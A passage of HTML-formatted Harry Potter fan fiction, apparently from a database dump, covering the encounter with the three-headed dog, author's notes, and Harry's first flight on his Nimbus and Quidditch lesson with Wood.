still had his wand and he got an idea.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hermione!&#8217; he whispered, with his lips close to her ear to avoid\nmaking more noise than necessary. &#8216; Can that spell you used lock doors too?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For a moment Hermione couldn&#8217;t\nanswer; in fact, she was having trouble thinking at all. They were all pressed\nclosely together, all trying to listen through the door at once. When Harry\nsuddenly whispered in her ear, and she could feel his warm breath on her ear\nand cheek, she just froze as a shiver ran through her.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hey! Didn&#8217;t you hear him?&#8217; Ron muttered, bringing Hermione back\nto her senses. &#8216; Can it or not?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shook her head to clear\nher mind and brought Harry&#8217;s wand back up. Crossing her fingers on her free\nhand, she whispered the spell again, and there was a little click as the door\nlocked itself once more, and they all let out a sigh of relief.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I wasn&#8217;t actually sure that it would work. After all it is an\nunlocking charm-&#8216; started Hermione before Harry put a finger to her lips,\nsilencing her and sending another chill down her spine, which she attributed to\nrunning around in a cold castle in her night clothes. Harry shivered thinking\nmuch the same thing as Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Filch was starting down the other\nside of the corridor now and was only a few doors away from where the four were\nhiding, when he opened one door to find Peeves waiting with water balloons.\n(AN- Where the heck did he get them? The characters are taking over the story\nand leaving plot holes! Ahhh!)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; PEEVES!&#8217; shouted Filch in surprise.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Peeves grinned savagely at Filch,\ntossing one balloon up and down menacingly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Y- Y- You wouldn&#8217;t dare!&#8217; Filch stuttered, his eyes wide and his\nface purple in a scared rage. Peeves had been known to fill his water balloons\nwith whatever potions he found in the dungeon, and the results were often&#8230;\ndistressing to say the least.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron, Neville, Hermione and Harry\ncouldn&#8217;t hear what was going on after Filch had shouted &#8220; Peeves!&#8221;, which had\nmade them all flinch.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Luckily for Filch though, Peeves\ndidn&#8217;t actually have any water balloons. They had actually been an illusion,\none of the few bits of magic that poltergeists can do.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Filch glared and turned an embarrassed\nred as Peeves let the balloons disappear.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Quick, Peeves, which way did they go?&#8217; asked Filch, over Peeves&#8217;\ncackling laughter. &#8216; Tell me!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron, Neville and Hermione all\ntensed when they heard this. Would Peeves give them away? But Harry was fairly\nsure that Peeves was actually trying to help them without seeming to. Harry\nwasn&#8217;t too worried&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Say &#8220;Please&#8221;.&#8217; Peeves said, folding his arms and acting,\nmockingly, like a stubborn child.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Don&#8217;t mess with me, Peeves, now where did they go?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Shan&#8217;t say nothing if you don&#8217;t say please,&#8217; said Peeves in an\nannoying singsong voice.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Alright &#8211; please!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; NOTHING! Ha haaa! Told you I wouldn&#8217;t say nothing if you didn&#8217;t\nsay please! Ha ha! Haaaaaa!&#8217; And they heard the sound of Peeves whooshing away\nand Filch cursing in rage.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A moment later they heard a still\ncursing Filch stalk away, and they let out a relieved sigh.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; He thought this door was locked,&#8217; Harry whispered. &#8216; I think\nwe&#8217;ll be okay &#8212; what is it, Neville?!&#8217; For Neville had been tugging on the\nsleeve of Harry&#8217;s bathrobe for the last minute. &#8216; What?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned around &#8212; and saw,\nquite clearly, what. For a moment, he was sure he&#8217;d walked into a nightmare &#8212;\nthis was too much, on top of everything that had happened so far. They weren&#8217;t\nin a room, as they had supposed. They were in a corridor. The forbidden\ncorridor on the third floor. And now they knew why it was forbidden.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They were looking straight into the\neyes of a monstrous dog, a dog that filled the whole space between ceiling and\nfloor. It had three heads. Three pairs of rolling, mad eyes; three noses,\ntwitching and quivering in their direction; three drooling mouths, saliva\nhanging in slippery ropes from yellowish fangs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was standing quite still, all\nsix eyes staring at them, and Harry knew that the only reason they weren&#8217;t\nalready dead was that their sudden appearance had taken it by surprise, but it\nwas quickly getting over that, there was no mistaking what those thunderous\ngrowls meant.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry took a step forwards pushing\nHermione behind him, towards the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Quick, Hermione.&#8217; He said in a shaky voice. &#8216; The door.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione snapped out of her\nfrightened paralysis when Harry moved her to the door, and she whipped around\nshouting &#8220; Alohomora!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The door slammed open, and Hermione\nrushed out followed closely by Neville and Ron, and lastly Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They slammed the door on one of the\ndog&#8217;s noses as it lunged towards them. Fortunately the dog couldn&#8217;t even fit\nhis head through, and Ron, Neville and Harry were able to hold the door shut\nfor Hermione to perform her spell, one last time, on the door.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Once the door was locked again they\nall sprinted back to Gryffindor tower without slowing down. Fortunately the fat\nLady had returned by that time, and was able to let them in.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Where on earth have you all been?&#8217; she asked, looking at their\nbathrobes hanging off their shoulders and their flushed, sweaty faces.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Never mind that.&#8217; Panted Hermione, stepping forward. &#8216; Pig\nSnout.&#8217; and the portrait swung forward. They scrambled into the common room and\ncollapsed, trembling, into armchairs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a while before any of them\nsaid anything. Neville, indeed, looked as if he&#8217;d never speak again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; What do they think they&#8217;re doing, keeping a thing like that\nlocked up in a school?&#8217; Ron said to Harry finally. &#8216; If any dog needs exercise,\nthat one does.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Harry wasn&#8217;t listening. He was\nlost in thought and had a suspicious look on his normally inexpressive face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione had got both her breath\nand her bad temper back again. &#8216; You don&#8217;t use your eyes, any of you, do you?&#8217;\nshe snapped. &#8216; Didn&#8217;t you see what it was standing on?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; The floor?&#8217; Ron suggested, snidely. &#8216; I wasn&#8217;t looking at its\nfeet, I was too busy with its heads.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; No, not the floor.&#8217; Said Harry thoughtfully. &#8216; It was standing\non a trapdoor. It&#8217;s obviously guarding something.&#8217;</p>\n\n<p class="MsoBodyTextIndent">Hermione dropped her glare for a moment to beam at\nHarry, as though she was a professor, and Harry was her prize pupil.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Exactly.&#8217; She stated. &#8216; And if\nsomething has to be brought to Hogwarts to be kept safe, then you can bet it&#8217;s\npretty important. Now I hope you&#8217;re pleased with yourselves.&#8217; Turning to Harry\nshe said &#8216; You could have been killed &#8212; or worse, expelled. So, if you don&#8217;t\nmind, I&#8217;m going to bed.&#8217; And without a backwards glance she turned and went up\nthe stairs to her dorm.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron stared after her, his mouth\nopen.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216;No, we don&#8217;t mind,&#8217; he said. &#8216; You&#8217;d think we dragged her along,\nwouldn&#8217;t you?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But once again, Harry wasn&#8217;t\nlistening. Hermione had given him several things to think about. The foremost\nin his mind being what Hagrid had said&#8230;What had Hagrid said? Gringotts was the\nsafest place in the world for something you wanted to hide &#8212; except perhaps\nHogwarts. It looked as though Harry had finally found out where the grubby\nlittle package from vault seven hundred and thirteen was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">AN- Hello, everyone! I don&#8217;t have much to say right now, but\nI want to tell everybody that the &#8220;Chamber of Secrets&#8221; movie <b><i>is f***ing\nAMAZING!!!</i></b> Dan is a great actor! He plays Harry perfectly! And I just\nLOVED Rupert&#8217;s facial expressions as Ron!</p>\n\n<p class="MsoNormal">Anywho that&#8217;s all for now&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 16, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- I need to know if you guys want Harry and Hermione\ntogether in this story even though they&#8217;re not together (YET!) in the books. I\nthink I&#8217;m planning on making Ron kinda girl crazy or something&#8230; I&#8217;m not really\nsure. This story seems to have it&#8217;s own ideas about what&#8217;s going to happen and\nthey don&#8217;t always agree with what I want to happen&#8230; Oh, well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">BTW, the little pictures (&nbsp;&nbsp;\n&#191;&lt;&#8217;}}}&gt;&lt;&nbsp;&nbsp; ) just mean a\nchange of scene.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But once again, Harry wasn&#8217;t\nlistening. Hermione had given him several things to think about. The foremost\nin his mind being what Hagrid had said&#8230;what had Hagrid said? He had said that\nGringotts was the safest place in the world for something you wanted to hide &#8212;\nexcept perhaps Hogwarts. It looked as though Harry had finally found out where\nthe grubby little package from vault seven hundred and thirteen was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191;&lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Malfoy couldn&#8217;t believe his eyes\nwhen he saw that Harry and Ron were still at Hogwarts the next day, looking\ntired but perfectly cheerful. Indeed, by the next morning Harry and Ron thought\nthat meeting the three-headed dog had been an excellent adventure, and they\nwere quite keen to have another one. In the meantime, Harry filled Ron in about\nthe package that seemed to have been moved from Gringotts to Hogwarts, and they\nspent a lot of time wondering what could possibly need such heavy protection.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; It&#8217;s either really valuable or really dangerous,&#8217; said Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Or both,&#8217; said Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But as all they knew for sure about\nthe mysterious object was that it was about two inches long, they didn&#8217;t have\nmuch chance of guessing what it was without further clues.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Neither Neville nor Hermione showed\nthe slightest interest in what lay underneath the dog and the trapdoor. All\nNeville cared about was never going near the dog again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione was now refusing to speak\nto Harry and Ron, but she was &#8220;&#8230;such a bossy know-it-all&#8230;&#8221; as Ron so eloquently\nput it, that Ron saw this as an added bonus to the adventure of meeting the\ndog.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All Ron and Harry really wanted now\nwas a way of getting back at Malfoy, and to their great delight, just such a\nthing arrived in the mail about a week later.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">That morning the post arrived as\nusual, but six owls carrying a long thin package between them caught everyone&#8217;s\nattention. Ron and Harry stared at the struggling owls along with everyone\nelse, waiting to see whom the mysterious package was for. As they watched a\nwhite blur flew by the six owls screeching. Two of the owls let go in panic,\nflapping madly to get away as the white thing slowed down to turn for another\nattack. As it slowed, Harry realized it was Hedwig, looking angry and fierce.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hey, Harry? Isn&#8217;t that Hedwig?&#8217; Ron asked incredulously, at\nabout the same time Harry realized just that.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Yeah, it is. But why would Hedwig attack those owls?&#8217; wondered\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As Ron and Harry spoke Hedwig flew\nat the four owls that were still struggling not to drop the package. Hedwig\nscreeched at them again as she approached, and the owls seemed to decide that\nit wasn&#8217;t worth their feathers to deliver the package, so the dropped it and\nflew away, beating their wings as fast as they could. By this time the entire\nhall was watching the dogfight-taking place over their heads. Several students\nthat were sitting below when the owls finally dropped the package leaped up to\ncatch it, but Hedwig, in a brilliant display of aerial acrobatics, flipped over\nas she went by where the owls had been moments ago, and dove at the package.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry, who still had no idea what\nwas going on, or why Hedwig would be acting like this, saw what she was trying\nto do. He didn&#8217;t think that Hedwig could possibly carry a package, by herself,\nwhich had needed six school owls to deliver. All this flashed through Harry&#8217;s\nmind as Hedwig caught up to the package, grabbed a hold of it, and&#8230; pulled up!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For some reason all of the students\ncheered as Hedwig rose up with the package. She had been perilously close to\ncrashing, and it was obvious that the package was really weighing her down, but\nshe looked almost triumphant, which was a neat trick for a creature with as\nlittle facial mobility as an owl. Some of the staff members were cheering\nHedwig along with the students, who seemed to have forgotten that Hedwig had\njust been attacking several school owls, but as Harry glanced at the staff\ntable to see if he would be getting into trouble for this, he saw McGonagall\nchuckling slightly and shaking her head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had been wondering why Hedwig\nwas acting like this, but now he was more interested in why his very strict\nhead of house was letting such a breach of discipline go.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t have long to wonder,\nas Hedwig had glided down to Harry&#8217;s spot at the Gryffindor table and dropped\nthe long package across his lap. She alighted on Harry&#8217;s shoulder, letting out\ncontented hoot and nipping Harry&#8217;s ear affectionately.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Except for the Gryffindors, the\nother students had sat back down to their breakfast after they saw that it was\nHarry Potter who had received the package after such an unusual mail delivery.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Aren&#8217;t you going to open it, Harry?&#8217; asked Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well, I guess it must be for me&#8230; I mean, Hedwig wouldn&#8217;t steal\nfrom school owls I don&#8217;t think.&#8217; Muttered Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I dunno, Har,&#8217; mused Fred.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hedwig might&#8230; if it was for you,&#8217; continued George.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; She seems to really-&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; care for you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Maybe she was&#8230;&#8217; Fred started with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; &#8230;Jealous of the other owls giving you your package!&#8217; George\nconcluded with a laugh.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Harry just groaned at the\ntwins&#8217; antics.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well I guess there&#8217;s only one way to find out if its for me or\nnot.&#8217; Said Harry, preparing to start ripping the brown paper off the odd shape.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just as Harry grabbed the long thin\nend and was about to start, a letter fluttered onto the table in front of him\nwith his name on the front. Hoping it was something about the package he had\njust gotten he opened it first.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">DO NOT OPEN THE PARCEL AT THE\nTABLE!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It contains your new Nimbus Two\nThousand,</p>\n\n<p class="MsoNormal" style="text-indent:.5in">but I don&#8217;t want everyone knowing\nyou&#8217;ve</p>\n\n<p class="MsoNormal" style="text-indent:.5in">got a broomstick or they&#8217;ll all\nwant one.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Oliver Wood will meet you tonight\non the </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Quidditch pitch at seven o&#8217;clock\nfor your</p>\n\n<p class="MsoNormal" style="text-indent:.5in">first training session.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Professor McGonagall</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was only just able to\nsuppress a grin of delight as Ron gasped and whispered &#8216; A Nimbus Two Thousand?\nI&#8217;ve never even touched one!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Harry quickly left the hall\nbefore any other students could ask what the letter said and what the parcel was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191;&lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron ran into someone as he and\nHarry left, literally.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was Malfoy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Watch where you&#8217;re going Weasel!&#8217; he sneered as Ron and him\npicked themselves up off the floor. He glared at Harry and noticed the package\nHarry was carrying. &#8216; What&#8217;s that?&#8217; he asked suspiciously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; None of your business is what it is!&#8217; growled Ron, pulling Harry\naround Malfoy and up the stairs in the direction of the Gryffindor common room.\n&#8216; Man! I can&#8217;t wait to see the look on his face when you play in your first\nmatch!&#8217; he continued gleefully.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191;&lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Both Ron and Harry had a hard time\nkeeping on task that day. They both kept zoning out in class, imagining how\ngreat it would be to finally have a chance to fly on Harry&#8217;s new broom.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron had asked Harry if they could\ngo out for Harry&#8217;s first practice a little early so that Ron could have a\nchance to try out Harry&#8217;s Nimbus. Of course Harry had agreed without\nhesitation. He had no problem with letting anyone else use his broom, especially\nnot Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t really see what the\nbig deal was about the Nimbus Two-Thousand. It seemed to be the same as any\nschool broom except that it was brand new, and all of its twigs were in line,\nall very superficial things as far as Harry was concerned. He knew that, more\nthan any physical aspect, it was the charms placed on a broom that decided how\nwell it flew (Pg. 47, Quidditch Through The Ages, lines 10-14), and as far\nHarry could tell the charms on the Nimbus weren&#8217;t too different from those on a\nCleansweep.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The classes that day crawled by for\nRon and Harry, but eventually the last class of the day ended and Ron and Harry\nscrambled to get to the Great Hall to have dinner then get ready for Harry&#8217;s\nfirst practise session.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As Ron and Harry hurried to the\npractise field, they talked about how great it would be to see the look on\nMalfoy&#8217;s face when he realized that Harry had made the house Quidditch team,\nand even had a broom of his own when no other first year was allowed one.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They were an hour early for Harry&#8217;s\npractise time and had the entire field to themselves.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When they arrived, Harry turned to\nRon and held out the broom wordlessly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron&#8217;s eyes gleamed and his hand\ntwitched as if to take the broom handle, but he just smiled and shook his head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; No, Harry.&#8217; He said. &#8216; You should be the first one to try it.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry only grinned in response and\nmounted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As soon as he did so the broom rose\na few feet, taking Harry&#8217;s feet off the ground, and in that one simple movement\nHarry could feel the energy and speed of the broom. Harry&#8217;s eyes lit up behind\nhis glasses and he grinned at Ron once more be fore off hard and rocketing\nstraight upward.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry flew up and down the field a\nfew times, the ground below seeming to be only a blur. He wasn&#8217;t experience\nenough yet to try anything fancy, but he couldn&#8217;t wait for Wood to arrive for\npractise. After ten minutes or so, Harry landed in front of Ron to trade\nplaces.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He opened his mouth to exclaim to\nRon about how wonderful the broom was, but Ron cut him off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I know, Harry. It&#8217;s wonderful, right?&#8217; asked Ron, chuckling. &#8216;\nYou should see your face right now. I can&#8217;t remember seeing you grin so widely\nbefore!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had taken his glasses off and\nput them in a pocket on the insides of his robes after almost losing them\nseveral times. &#8216; It is!&#8217; was all he could say with his eyes glazed over.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Your turn now, Ron.&#8217; He said, shaking his head to clear it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron&#8217;s eyes were bright and he\nlicked his lips in anticipation as he reached out for the broom.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry studied Ron&#8217;s flying while he\nwaited. Ron might not move nearly as fast as Harry had been, but his extra\nexperience was apparent. Harry found himself analysing Ron&#8217;s form as his friend\nflew up and down the field, executing a few simple tricks.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron&#8217;s handling of the broom was\nquite good even if he did tend to guide it more with his legs than he strictly\nshould, and his balance was superb. Harry knew he had read about these types of\nthings in the Quidditch books he had looked up before, but he found that he\ndidn&#8217;t really need to consciously think about the information. It was simply\nthere waiting for him to use it. All in all though, Harry could tell that Ron\nhad great potential as a flyer.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Harry spent half an hour or\nso taking turns on the broom before Ron finally decided to head back in to\ncomplete some last minute changes on a transfiguration paper that was to be\nhanded in the next day.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; See ya later, Harry.&#8217; He called as he walked off. &#8216; Remember to\ncome and tell me how it goes when you&#8217;re finished!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry waved as his friend walked\noff then mounted the broom again, intending to get in some practise of his own\nbefore Wood showed up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had fully intended to go\nthrough the basic manoeuvres that most of the books had suggested for\nbeginners, but they were simple and he soon became bored with them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He started flying up and down the\nfield again, this time simply enjoying the feeling of freedom, something new to\nhim. After a while he started leaning closer and closer to his broom zooming up\nand down the field, faster and faster. He tried to see just how fast the broom\ncould go, and how sharply it could turn at those speeds. The field was a large\none, but Harry was moving so fast that it seemed to take only seconds from one\nend to the other.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As fast as he was already going,\nHarry was sure that he could go even faster if he could find some way of\naccelerating in a shorter distance. Harry slapped his forehead with his hand.\nOf course!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; Gravity equals acceleration\nand acceleration equals gravity.&gt; he thought.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">With that in mind Harry rocketed\nupward until he was well above even the tallest of the towers of Hogwarts. At\nthat height he levelled off and grinned fiercely towards the ground. Then, with\nhis stomach doing flips he pointed his broom straight down and flew towards the\nground, faster than he had ever moved before!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had only the approaching\nground to judge his speed against; he guessed he must have been going almost\none hundred miles an hour by the time he reached the tops of the Hogwarts\ntowers. At this point he started to pull up, but as fast as he was going it\nwould still be close.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Straining to pull the front of the\nbroom up Harry heard someone yelling and laughing. It took him a moment to\nrealize that it was him who was laughing! For the first time that Harry could\never remember, he was laughing and smiling. At the same time he was screaming\nwith the exhilaration of flying so fast.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The ground was still rushing up at\nhim, but not quite so fast as before, and by the time he reached the ground he\nwas moving slow enough to jump off the broom and absorb the shock by crouching.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Pulling out his glasses and\nslipping them back on, Harry turned to pick up his broom and saw Wood, mouth\nhanging halfway to his knees, staring at Harry then the Nimbus, then back at\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Are you completely nuts?!!&#8217; He roared. &#8216; What would we have done\nfor a seeker for our first match if you had killed yourself, huh?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Raising an eyebrow Harry asked &#8216;\nWhat do you mean? The worst that could have happened is I might have broken my\nlegs. I pretty sure it&#8217;s possible to fly without using your legs.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Wood just stared at Harry as if he\nhad sprouted horns before shaking his head and muttering something about stupid\ngits who didn&#8217;t care about winning Quidditch matches.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Oliver turned around and bent over\na wooden case that Harry hadn&#8217;t noticed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Very nice dive though, even if you did almost kill yourself.&#8217;\nsaid Wood, his eyes glinting. &#8216; I see what McGonagall meant&#8230;you really are a\nnatural. I don&#8217;t think I&#8217;ve ever seen anyone move that fast on a broom. Anywho,\nI&#8217;m just going to teach you the rules this evening, then you&#8217;ll be joining team\npractice three times a week.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He opened the crate. Inside were\nfour different-sized balls.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Right,&#8217; said Wood. &#8216; Now, Quidditch is easy enough to\nunderstand, even if it&#8217;s not too easy to play. There are seven players on each\nside. Three of them are called Chasers.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Three Chasers,&#8217; Harry repeated,\nas Wood took out a bright red ball about the size of a soccer ball.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; This ball&#8217;s called the Quaffle,&#8217; said Wood. &#8216; The Chasers throw\nthe Quaffle to each other and try and get it through one of the hoops to score\na goal. Ten points every time the Quaffle goes through one of the hoops. Follow\nme?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; The Chasers throw the Quaffle and put it through the hoops to\nscore,&#8217; Harry recited. &#8216; So &#8212; that&#8217;s sort of like basketball on broomsticks\nwith six hoops, isn&#8217;t it?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Wood gave Harry an odd look and\nopened his mouth as if to ask a question, but then thought better of it, and continued\nexplaining the intricacies of Quidditch to Harry, who made sure to remember\neverything he was told. McGonagall had said that if he didn&#8217;t work hard at his\nQuidditch training, she might remember that he hadn&#8217;t been punished for the\nincident with Malfoy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; This,&#8217; said Wood, reaching into the crate to pull out the final\nball &#8216; is the Golden Snitch, and it&#8217;s the most important ball of the lot. It&#8217;s\nvery hard to catch because it&#8217;s so fast and difficult to see. It&#8217;s the Seeker&#8217;s\njob to catch it. You&#8217;ve got to weave in and out of the Chasers, Beaters,\nBludgers, and Quaffle to get it before the other team&#8217;s Seeker. That means that\nalthough your speed will be very useful, you&#8217;ve also got to be agile, because\nwhichever Seeker catches the Snitch wins his team an extra hundred and fifty\npoints, so they nearly always win. That&#8217;s why Seekers get fouled so much. A\ngame of Quidditch only ends when the Snitch is caught, so it can go on for ages\n&#8212; I think the record is three months, they had to keep 